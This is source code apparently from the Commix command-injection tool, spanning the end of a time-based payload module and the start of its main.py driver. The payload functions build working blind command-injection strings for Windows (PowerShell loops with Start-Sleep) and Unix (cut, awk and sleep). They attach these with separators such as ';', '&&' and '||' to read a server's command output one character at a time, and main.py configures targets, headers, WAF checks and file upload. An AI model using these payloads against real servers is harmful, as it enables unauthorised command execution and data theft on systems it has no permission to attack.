return payload
"""
Get the execution output, of shell execution.
"""
def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE +
"do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE +
"do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
if separator == ";" or separator == "%0a" :
payload = (separator +
# Use space as delimiter
"str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator +
"if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi" +
separator
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"sleep 0" + separator +
# Use space as delimiter
"str=$(awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + ")" + separator +
"[ " + str(ascii_char) + " -eq ${str} ] " + separator +
"sleep " + str(timesec) +
separator
)
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " + str(ascii_char) + " -ne $(cat " + OUTPUT_TEXTFILE +
pipe + "tr -d '\\n'" +
pipe + "cut -c " + str(num_of_chars) +
pipe + "od -N 1 -i" +
pipe + "head -1" +
pipe + "awk '{print$2}') ] " + separator +
"sleep " + str(timesec) +
separator
)
else:
pass
#
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\""
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" or separator == "%0a" :
payload = (separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator +
"if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi" +
separator
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator +
"[ " + str(ascii_char) + " -eq ${str} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" +
separator
)
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" +
separator
)
else:
pass
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n", ";")
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
return payload
"""
Get the execution output, of shell execution.
"""
def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ")\"') "
"do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ")\"') "
"do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
if separator == ";" or separator == "%0a" :
payload = (separator +
"str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator +
"if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi" +
separator
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"sleep 0" + separator +
"str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator +
"[ " + str(ord(str(ascii_char))) + " -eq ${str} ] " + separator +
"sleep " + str(timesec) +
separator
)
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " + str(ascii_char) + " -ne $(cat " + OUTPUT_TEXTFILE + ") ] " + separator +
"sleep " + str(timesec) +
separator
)
else:
pass
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\""
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" or separator == "%0a" :
payload = (separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\")" + separator +
"if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi" +
separator
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator +
"[ " + str(ascii_char) + " -eq ${str} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" +
separator
)
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" +
separator
)
else:
pass
# New line fixation
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n",";")
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
return payload
# eof commix-4.0/src/core/main.py 0000664 0000000 0000000 00000131001 14731205621 0015663 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
import random
from src.thirdparty.six.moves import http_client as _http_client
# accept overly long result lines
_http_client._MAXLINE = 1 * 1024 * 1024
from socket import error as SocketError
from os.path import splitext
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.utils import menu
from src.utils import logs
from src.utils import purge
from src.utils import update
from src.utils import common
from src.utils import version
from src.utils import install
from src.utils import crawler
from src.utils import settings
from src.core.requests import parameters
from src.utils import session_handler
from src.utils import simple_http_server
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.testing import smoke_test
from src.core.requests import tor
from src.core.requests import proxy
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import redirection
from src.core.requests import authentication
from src.core.injections.controller import checks
from src.core.injections.controller import parser
from src.core.injections.controller import controller
from src.thirdparty.six.moves import reload_module as _reload_module
# Set default encoding
_reload_module(sys)
#sys.setdefaultencoding(settings.DEFAULT_CODEC)
if settings.IS_WINDOWS:
import codecs
# Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440
codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None)
# Use Colorama to make Termcolor work on Windows too :)
init()
"""
Define HTTP User-Agent header.
"""
def defined_http_headers(url):
def extra_headers():
if any((menu.options.header, menu.options.headers)):
settings.EXTRA_HTTP_HEADERS = True
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Setting extra HTTP headers."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
def cookie():
if menu.options.cookie and settings.VERBOSITY_LEVEL != 0:
debug_msg = "Setting the HTTP " + settings.COOKIE + " header."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
def referer(url):
if menu.options.referer is None:
if menu.options.level and int(menu.options.level) == settings.HTTP_HEADER_INJECTION_LEVEL:
menu.options.referer = _urllib.parse.urljoin(url, _urllib.parse.urlparse(url).path)
if menu.options.referer and settings.VERBOSITY_LEVEL != 0:
debug_msg = "Setting the HTTP " + settings.REFERER + " header."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
def host(url):
if menu.options.host is None:
menu.options.host = _urllib.parse.urlparse(url).netloc
if menu.options.host and settings.VERBOSITY_LEVEL != 0:
debug_msg = "Setting the HTTP " + settings.HOST + " header."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
def user_agent():
# Check if defined "--mobile" option.
if menu.options.mobile:
if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.random_agent:
if not settings.MULTI_TARGETS or not settings.STDIN_PARSING:
err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
menu.options.agent = checks.mobile_user_agents()
# Check if defined "--random-agent" option.
if menu.options.random_agent:
if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile:
if not settings.MULTI_TARGETS or not settings.STDIN_PARSING:
err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Fetching random HTTP User-Agent header. "
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
else:
pass
try:
menu.options.agent = random.choice(settings.USER_AGENT_LIST)
info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
except:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Setting the HTTP User-Agent header."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
extra_headers()
cookie()
referer(url)
host(url)
user_agent()
"""
Examine the request
"""
def examine_request(request, url):
# Retries when the connection timeouts.
if menu.options.retries:
settings.MAX_RETRIES = menu.options.retries
else:
if settings.MULTI_TARGETS:
settings.MAX_RETRIES = 1
try:
headers.check_http_traffic(request)
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy or menu.options.ignore_proxy:
return proxy.use_proxy(request)
else:
try:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
return response
except ValueError:
# Invalid format for the '--header' option.
if settings.VERBOSITY_LEVEL < 2:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
err_msg = "Use '--header=\"HEADER_NAME: HEADER_VALUE\"'"
err_msg += "to provide an extra HTTP header or"
err_msg += " '--header=\"HEADER_NAME: " + settings.CUSTOM_INJECTION_MARKER_CHAR + "\"' "
err_msg += "if you want to try to exploit the provided HTTP header."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
except Exception as err_msg:
requests.request_failed(err_msg)
"""
Check internet connection before assessing the target.
"""
def check_internet(url):
settings.CHECK_INTERNET = True
settings.CHECK_INTERNET_ADDRESS = checks.check_http_s(url)
info_msg = "Checking for internet connection."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
if settings.VERBOSITY_LEVEL >= 2:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
try:
request = _urllib.request.Request(settings.CHECK_INTERNET_ADDRESS, method=settings.HTTPMETHOD.GET)
headers.do_check(request)
examine_request(request, url)
except:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
error_msg = "No internet connection detected."
settings.print_data_to_stdout(settings.print_critical_msg(error_msg))
"""
The init (URL) request.
"""
def init_request(url, http_request_method):
# Number of seconds to wait before timeout connection
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Setting the HTTP timeout."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
if menu.options.timeout:
settings.TIMEOUT = menu.options.timeout
# Define HTTP headers
defined_http_headers(url)
# Check the internet connection (--check-internet switch).
if menu.options.check_internet:
check_internet(url)
# Check if defined POST data
if settings.USER_DEFINED_POST_DATA:
request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method)
else:
request = _urllib.request.Request(url, method=http_request_method)
headers.do_check(request)
# Used a valid pair of valid credentials
if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 :
debug_msg = "Setting the HTTP authentication type and credentials."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
if menu.options.proxy:
proxy.do_check()
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
settings.CUSTOM_INJECTION_MARKER = checks.custom_injection_marker_character(url, http_request_method)
# Check connection(s)
checks.check_connection(url)
return request
"""
Get the URL response.
"""
def url_response(url, http_request_method):
# Check if http / https
url = checks.check_http_s(url)
settings.TARGET_URL = _urllib.parse.urlparse(url).hostname
if settings.MULTI_TARGETS or settings.CRAWLING:
settings.TOR_CHECK_AGAIN = False
# initiate total of requests
settings.TOTAL_OF_REQUESTS = 0
request = init_request(url, http_request_method)
if settings.CHECK_INTERNET:
settings.CHECK_INTERNET = False
if settings.INIT_TEST == True:
info_msg = "Testing connection to the target URL. "
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
response = examine_request(request, url)
# Check for URL redirection
if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None:
if response.geturl() != url:
redirect_url = redirection.do_check(request, url, response.geturl())
if redirect_url is not None:
url = redirect_url
if not menu.options.skip_waf:
settings.COOKIE_INJECTION = None
settings.WAF_DETECTION_PHASE = True
waf_request, waf_url = checks.check_waf(url, http_request_method)
examine_request(waf_request, waf_url)
settings.WAF_DETECTION_PHASE = False
return response, url
"""
Initializing injection status.
"""
def init_injection(url):
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Initializing the knowledge base."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
# Initiate heuristic checks.
if not settings.FOLLOW_REDIRECT:
settings.FOLLOW_REDIRECT = True
if settings.SKIP_CODE_INJECTIONS:
settings.SKIP_CODE_INJECTIONS = False
if settings.SKIP_COMMAND_INJECTIONS:
settings.SKIP_COMMAND_INJECTIONS = False
# Initiate injection checker.
if settings.INJECTION_CHECKER:
settings.INJECTION_CHECKER = False
# Initiate exploitation techniques states.
if settings.INJECTION_CHECKER:
settings.CLASSIC_STATE = False
if settings.EVAL_BASED_STATE:
settings.EVAL_BASED_STATE = False
if settings.TIME_BASED_STATE:
settings.TIME_BASED_STATE = False
if settings.FILE_BASED_STATE:
settings.FILE_BASED_STATE = False
if settings.TEMPFILE_BASED_STATE:
settings.TEMPFILE_BASED_STATE = False
if settings.TIME_RELATIVE_ATTACK:
settings.TIME_RELATIVE_ATTACK = False
"""
Using 'stdin' for parsing targets.
"""
def stdin_parsing_target(os_checks_num):
_ = []
if os_checks_num == 0:
info_msg = "Using 'stdin' for parsing targets list."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
menu.options.batch = True
settings.MULTI_TARGETS = True
for url in sys.stdin:
if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", url, re.I):
url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip()
_.append(url.rstrip())
return _
"""
Check if an injection point has already been detected against target.
"""
def check_for_injected_url(url):
_ = True
if _urllib.parse.urlparse(url).netloc not in settings.CRAWLED_URLS_INJECTED:
_ = False
return _
"""
Check if value is inside boundaries
"""
def check_value_inside_boundaries(url, http_request_method):
url = checks.value_inside_boundaries(url, http_request_method)
settings.USER_DEFINED_POST_DATA = checks.value_inside_boundaries(settings.USER_DEFINED_POST_DATA, http_request_method)
return url
"""
The main function.
"""
def main(filename, url, http_request_method):
try:
if menu.options.alert:
if menu.options.alert.startswith('-'):
err_msg = "Value for option '--alert' must be valid operating system command(s)."
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
else:
settings.ALERT = True
if menu.options.offline:
settings.CHECK_FOR_UPDATES_ON_START = False
# Ignore the mathematic calculation part (Detection phase).
if menu.options.skip_calc:
settings.SKIP_CALC = True
# Target URL reload.
if menu.options.url_reload and menu.options.data:
settings.URL_RELOAD = True
if menu.options.flush_session:
session_handler.flush(url)
url = check_value_inside_boundaries(url, http_request_method)
if menu.options.level:
settings.INJECTION_LEVEL = int(menu.options.level)
else:
settings.INJECTION_LEVEL = settings.DEFAULT_INJECTION_LEVEL
if menu.options.level and settings.INJECTION_LEVEL >= settings.DEFAULT_INJECTION_LEVEL:
settings.USER_APPLIED_LEVEL = settings.INJECTION_LEVEL
if not settings.USER_APPLIED_LEVEL :
settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL = session_handler.applied_levels(url, http_request_method)
# Define the level of tests to perform.
if settings.INJECTION_LEVEL == settings.DEFAULT_INJECTION_LEVEL:
settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index)
settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index)
settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index)
settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index)
settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index)
settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL1), key=settings.EVAL_SEPARATORS_LVL1.index)
settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL1), key=settings.EXECUTION_FUNCTIONS_LVL1.index)
elif settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL:
settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index)
settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index)
settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index)
settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index)
settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index)
settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL2), key=settings.EVAL_SEPARATORS_LVL2.index)
settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL2), key=settings.EXECUTION_FUNCTIONS_LVL2.index)
elif settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL:
settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index)
settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index)
settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index)
settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL3), key=settings.EVAL_PREFIXES_LVL3.index)
settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL3), key=settings.EVAL_SUFFIXES_LVL3.index)
settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL3), key=settings.EVAL_SEPARATORS_LVL3.index)
settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL3), key=settings.EXECUTION_FUNCTIONS_LVL3.index)
else:
err_msg = "The value for option '--level' "
err_msg += "must be an integer value from range [1, 3]."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.test_parameter and menu.options.skip_parameter:
if type(menu.options.test_parameter) is bool:
menu.options.test_parameter = None
else:
err_msg = "The options '-p' and '--skip' cannot be used "
err_msg += "simultaneously (i.e. only one option must be set)."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.ignore_session:
# Ignore session
session_handler.ignore(url)
# Check provided parameters for tests
checks.check_provided_parameters()
# Check if defined character used for splitting cookie values.
if menu.options.cdel:
settings.COOKIE_DELIMITER = menu.options.cdel
if menu.options.tech and settings.USER_APPLIED_TECHNIQUE != None:
settings.USER_APPLIED_TECHNIQUE = True
else:
settings.USER_APPLIED_TECHNIQUE = None
if len(session_handler.applied_techniques(url, http_request_method)) != 0:
settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method)
menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES
else:
menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES])
# Check for skipping injection techniques.
if menu.options.skip_tech:
# Convert injection technique(s) to lowercase
menu.options.skip_tech = menu.options.skip_tech.lower()
settings.SKIP_TECHNIQUES = True
if settings.USER_APPLIED_TECHNIQUE:
err_msg = "The options '--technique' and '--skip-technique' cannot be used "
err_msg += "simultaneously (i.e. only one option must be set)."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES)
for skip_tech_name in settings.AVAILABLE_TECHNIQUES:
if skip_tech_name in menu.options.skip_tech:
menu.options.tech = menu.options.tech.replace(skip_tech_name, "")
if len(menu.options.tech) == 0:
err_msg = "Detection procedure was aborted due to skipping all injection techniques."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if specified wrong injection technique
if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES:
found_tech = False
# Check if used the ',' separator
if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech:
split_techniques_names = menu.options.tech.split(settings.PARAMETER_SPLITTING_REGEX)
else:
split_techniques_names = menu.options.tech.split()
if split_techniques_names:
for i in range(0,len(split_techniques_names)):
if len(menu.options.tech) <= 4:
split_first_letter = list(menu.options.tech)
for j in range(0,len(split_first_letter)):
if split_first_letter[j] in settings.AVAILABLE_TECHNIQUES:
found_tech = True
else:
found_tech = False
if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \
found_tech == False:
err_msg = "You specified wrong value '" + split_techniques_names[i]
err_msg += "' as injection technique. "
err_msg += "The value for option '"
if not settings.SKIP_TECHNIQUES :
err_msg += "--technique"
else:
err_msg += "--skip-technique"
err_msg += "' must be a string composed by the letters "
err_msg += ', '.join(settings.AVAILABLE_TECHNIQUES).upper()
err_msg += ". Refer to the official wiki for details."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check the file-destination
if menu.options.file_write and not menu.options.file_dest or \
menu.options.file_upload and not menu.options.file_dest:
err_msg = "Host's absolute filepath to write and/or upload, must be specified (i.e. '--file-dest')."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None:
err_msg = "You must enter the '--file-write' or '--file-upload' parameter."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if defined "--url" or "-m" option.
if url:
if menu.options.auth_cred and menu.options.auth_type:
if len(menu.options.auth_cred.split(":")) == 2:
username = menu.options.auth_cred.split(":")[0]
password = menu.options.auth_cred.split(":")[1]
else:
username = ""
password = menu.options.auth_cred
if not settings.LOAD_SESSION:
session_handler.import_valid_credentials(url, authentication_type=menu.options.auth_type, \
admin_panel=url, username=username, \
password=password
)
try:
# Check for CGI scripts on url
checks.check_CGI_scripts(url)
# Check if defined "--file-upload" option.
if menu.options.file_upload:
menu.options.file_upload = os.path.abspath(menu.options.file_upload)
checks.file_upload()
try:
_urllib.request.urlopen(menu.options.file_upload, timeout=settings.TIMEOUT)
except _urllib.error.HTTPError as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg.code)))
raise SystemExit()
except _urllib.error.URLError as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg.reason) + "."))
raise SystemExit()
try:
info_msg = "Performing identification (passive) tests to the target URL."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
# Webpage encoding detection.
requests.encoding_detection(response)
# Procedure for target server identification.
requests.server_identification(response)
# Procedure for target application identification
requests.application_identification(url)
# Specifies the technology supporting the web application
requests.technology_identification(response)
# Procedure for target server's operating system identification.
if not settings.IDENTIFIED_TARGET_OS:
requests.os_identification(response)
if settings.IDENTIFIED_TARGET_OS:
# Store the Server's root dir
settings.DEFAULT_WEB_ROOT = settings.WEB_ROOT
if menu.options.is_admin or menu.options.is_root and not menu.options.current_user:
menu.options.current_user = True
# Define Python working directory.
checks.define_py_working_dir()
# Check for wrong flags.
checks.check_wrong_flags()
else:
checks.user_defined_os()
except (KeyError, AttributeError):
pass
